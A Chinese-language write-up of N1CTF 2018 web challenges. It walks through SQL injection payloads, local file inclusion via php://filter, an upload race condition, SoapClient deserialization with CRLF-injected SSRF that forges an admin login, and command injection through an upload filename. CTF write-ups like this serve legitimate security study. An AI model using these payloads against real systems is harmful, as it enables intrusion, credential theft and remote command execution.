before start
周末打了N1CTF,果不其然是被虐了,做了两道半web。思路还是不够开阔,有些之前见过的姿势也没利用上,几个题没做出来也比较可惜,整理了一下web的wp。
ps. sql注入可能是我的一生之敌了。
77777
本来以为是格式化字符串漏洞导致的盲注,结果发现是update注入。这个地方盲注、显式注入都可以。
盲注payload:
1
| flag=0&hi=1 && password<"A"
|
符合条件的话分数会被更新为1,否则为0。接下来就是跑脚本了,感觉很容易受到干扰(好像flag也变过),可能是做的人比较多,跑了几次之后得到了正确的flag。
显式payload:
1
| flag=0&hi=%2b(select hex(mid((select a.password from (select password from users) a),1,1)))
|
首先将字符拆分,然后转化为16进制(便于输出),然后再转换就行了。
easy php
习惯性扫目录,得到index.php,顺手在别的文件也加了,结果都有。加上目录遍历,得到了全部源码。
看了看代码思路很清晰,绕过admin检测,然后上传。
上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| function upload($file){ $file_size = $file['size']; if($file_size>2*1024*1024) { echo "pic is too big!"; return false; } $file_type = $file['type']; if($file_type!="image/jpeg" && $file_type!='image/pjpeg') { echo "file type invalid"; return false; } if(is_uploaded_file($file['tmp_name'])) { $uploaded_file = $file['tmp_name']; $user_path = "/app/adminpic"; if (!file_exists($user_path)) { mkdir($user_path); } $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']); $file_true_name = str_replace('/','',$file_true_name); $file_true_name = str_replace('\\','',$file_true_name); $file_true_name = $file_true_name.time().rand(1,100).'.jpg'; $move_to_file = $user_path."/".$file_true_name; if(move_uploaded_file($uploaded_file,$move_to_file)) { if(stripos(file_get_contents($move_to_file),'<?php')>=0) system('sh /home/nu1lctf/clean_danger.sh'); return $file_true_name; } else return false; } else return false; }
|
可以看到无论上上传什么都会调用clean_danger.sh
通过文件包含可以看到clean_danger.sh的内容为
1 2 3
| http://47.97.221.96/index.php?action=../../../../home/nu1lctf/clean_danger.sh cd /app/adminpic/ rm *.jpg
|
这里可以用条件竞争来getshell,只不过上传之后的文件名需要爆破,所以竞争起来成功率不高,线程开多点问题还是不大的。
ps. 看wp可以用linux的一个特性绕过删除
Using a feature of commands of linux
When we create a file like -xaaaaaaa.jpg We could not delete it by rm * or rm *.jpg except rm -r adminpic/
insert盲注
看一下config.php中insert函数的实现
1 2 3 4 5 6 7 8 9
| public function insert($columns,$table,$values){ $column = $this->get_column($columns); $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')'; $nid = $sql = 'insert into '.$table.'('.$column.') values '.$value; $result = $this->conn->query($sql);
return $result; }
|
没有进行任何过滤,但是有一个全局过滤的函数。
config.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| function addslashes_deep($value) { if (empty($value)) { return $value; } else { return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value); } }
function addsla_all() { if (!get_magic_quotes_gpc()) { if (!empty($_GET)) { $_GET = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); } } addsla_all();
|
搜一下insert,发现存在可控变量的就这一处
user.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function publish() { if(!$this->check_login()) return false; if($this->is_admin == 0) { if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip()))); $db = new Db(); @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood)); if($ret) return true; else return false; } } }
|
很明显signature是可控的,我们完全可以构造一个不用单引号的盲注payload
1
| signature=1`,if((ascii(substr((select password from ctf_users where is_admin=1),1,1))=113),sleep(5),1))#&mood=1
|
抛出管理员密码,解密为nu1ladmin
,但是管理员只允许本地登录。。。
ssrf
放出提示要找一个ssrf,在这里被卡的废废的。卡在门口是真的难受。。。
在index.php-showmess()
中有一处使用了unserialize
推测是用反序列化+ssrf。
使用的是SoapClient
这个php自带类(表示第一次听说,知识面还是太窄)
测试代码如下:
1 2 3 4 5 6 7 8
| $a = new SoapClient(null, array( 'location'=> "http://seaii-blog.com:8000", 'uri'=> "123" )); $res = serialize($a); echo $res; $a = unserialize($res); $a->getsubtime();
|
当反序列化出来的对象调用不存在的函数是,就会调用__call方法,向外发送请求
可以看到本身就是发送的post请求,但是没办法携带数据。我们需要做的是修改Content-type
并且附上要传送的数据。
恰好User-Agent
存在crlf可以将下面的部分截断,具体分析过程可以移步官方wp:http://wupco.cn/hctf/ezphp.pdf
代码来自官方wp
1 2 3 4 5 6 7 8 9 10 11 12 13
| $post_string = 'a=b&flag=aaa'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: xxxx=1234' ); $a = new SoapClient(null,array( 'location' => 'http://seaii-blog.com:8000', 'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab")); $aaa = serialize($a); $aaa = str_replace('^^',"\r\n",$aaa); $aaa = str_replace('&','&',$aaa); $a = unserialize($aaa); $a->getsubtime();
|
可以看到请求已经被“改造”为正常的post请求了。
2018.03.13 今天看wonderkun师傅的wp又学了一手,在这里补充上。soap在user_agent和uri处都有crlf,但是要修改Content-Type
,才能将数据post出去。uri同样可以达到目的,关键点就在于Connection: Keep-Alive
。
可以发现当第一个请求的Connection
为Keep-Alive
的时候,接着的那个请求也会被响应。也就是说在一次HTTP连接中可以同时又多个HTTP请求头和请求体,但是当前请求被响应的前提是,前一个请求有Connection: Keep-Alive
。 (测试的时候需要注意Content-Length
字段,需把burp中的repeater->update content-length
选项关掉)
这里就也给了我们一个很重要的启示,如果我们遇到一个GET型的CRLF注入,但是我们需要的却是一个POST类型的请求,就可以用这种方式,在第一个请求中注入一个Connection: Keep-Alive,然后接着往下注入第二个请求,就可以实现我们的目的。
测试代码来自wp
1 2 3 4 5
| $uri = "http://www.baidu.com/?test=blue\r\nContent-Length: 0\r\n\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: PHPSESSID=52m5ugohiki56gds9c6t71rj92\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\nConnection: Close\r\n\r\nusername=admin&password=nu1ladmin&code=435137\r\n\r\n\r\n"; $location = "http://seaii-blog.com:8000/index.php"; $event = new SoapClient(null,array('location'=>$location,'uri'=>$uri)); $e = serialize($event); unserialize($e)->getsubtime();
|
可以看到收到了两次请求,学无止境呀。
接下来就是伪造请求去登录admin账户了,记得要带着cookie(PHPSESSID)去访问,这样验证码就是当前页面的,并且登录成功之后会将这个session的is_admin设置为1。就可以以管理员的身份进行操作了。
getshell之后flag并没有在主机中,而是在数据库里,需要root账户。mysql的root密码可以通过LFI /run.sh获得。
非预期
这个题目还有几个非预期解,附上链接。
http://skysec.top/2018/03/12/N1CTF-2018-Web
http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
77777 2
这个题跟上面的题目差不多,做了更严格的过滤。本来上面的payload就能跑的,题目又修改了一下,过滤又严格了。可能出题师傅低估了师傅们的payload吧:P。
测试了一下,只要payload里面的数字或者显示的分数不是1开头的,就被ban,那就一个一个加呗。。
payload
1
| flag=0&hi=%2b(select conv(hex(substr((select a.pw from (select c.pw from users c) a),1+1+1,1)),16,10))
|
将截取来的16进制再转为10进制,都是100多,符合条件。
funning eating cms
牛逼的师傅都在拿flag,而菜的人只能给管理员发邮件聊天,233333
这题一开始就跑偏了。。以为是xss,怼了半天。后来发现是LFI,时间也不多了。。。
首先利用LFI获取user.php的源码
1
| http://47.52.152.93:20000/user.php?page=php://filter/convert.base64-encode/resource=user
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php require_once("function.php"); if( !isset( $_SESSION['user'] )){ Header("Location: index.php"); } if($_SESSION['isadmin'] === '1'){ $oper_you_can_do = $OPERATE_admin; }else{ $oper_you_can_do = $OPERATE; }
if($_SESSION['isadmin'] === '1'){ if(!isset($_GET['page']) || $_GET['page'] === ''){ $page = 'info'; }else { $page = $_GET['page']; } } else{ if(!isset($_GET['page'])|| $_GET['page'] === ''){ $page = 'guest'; }else { $page = $_GET['page']; if($page === 'info') {
Header("Location: user.php?page=guest"); } } } filter_directory();
include "$page.php"; ?>
|
通过代码可以得到两个信息
- function.php
- 只有admin才能看info.php
先获取源码看看吧
info.php
1 2 3 4 5 6
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly "); } include "templates/info.html"; ?>
|
直接访问http://47.52.152.93:20000/templates/info.html
可以得到一个hint
接下来是function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php session_start(); require_once "config.php"; function Hacker() { Header("Location: hacker.php"); die(); }
function filter_directory() { $keywords = ["flag","manage","ffffllllaaaaggg"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query);
foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
?>
|
主要逻辑全在这个文件中,这里只上了关键代码。
我们得到的hint已经被禁了,我们要想办法绕过parse_url
和parse_str
的解析。
绕过方法很简单,只要加足够多的/
就好了。看测试代码:
1 2 3 4 5 6
| <?php $uri = parse_url($_SERVER["REQUEST_URI"]); var_dump($uri); parse_str($uri['query'], $query); var_dump($query); ?>
|
利用这种方法继续读ffffllllaaaaggg.php
的代码
1
| http://47.52.152.93:20000///user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
|
1 2 3 4 5 6 7
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); }else { echo "you can find sth in m4aaannngggeee"; } ?>
|
好吧,继续。。。
1 2 3 4 5 6 7
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); } include "templates/upload2323233333.html";
?>
|
访问``又得到一个hint
没懂什么意思,往下看处理上传的文件upllloadddd.php
,接着读吧
upllloadddd.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ die("error:can not move"); } }else{ die("error:not an upload fileï¼"); } $newfile = $path.$filename; echo "file upload success<br />"; echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0"); echo "<img src='data:image/png;base64,".$picdata."'></img>"; if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); } ?>
|
重点是这两行
1 2
| $filename = $_FILES['file']['name']; $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
|
上传文件名没有作任何处理,直接拼接到system中,肉眼可见的命令注入
不知道为什么这里构造ls -a /
不生效,那就ls -a ..
吧
一通操作终于是拿到flag了。。。
不能用/
是真的难受。。。
ps.其实这题xdebug没关,可以直接拿到flag,但是比赛已经结束了。。。
harder php?
正解和easy php是一样的,可能处理一些非预期的情况。
babysqli
坐等wp,未完待续。。。
官方wp出了,但是只给了一个解题脚本。。。
https://github.com/Nu1LCTF/n1ctf-2018/blob/master/writeups/web/babysqli.md
根据代码来看大体思路是这样的:首先注入点在userinfo(这点倒是想到了),然后根据登陆成功之后用户头像来构造一个bool盲注(有提示),看起来过滤也不是太严格,当时看的再仔细点就好了。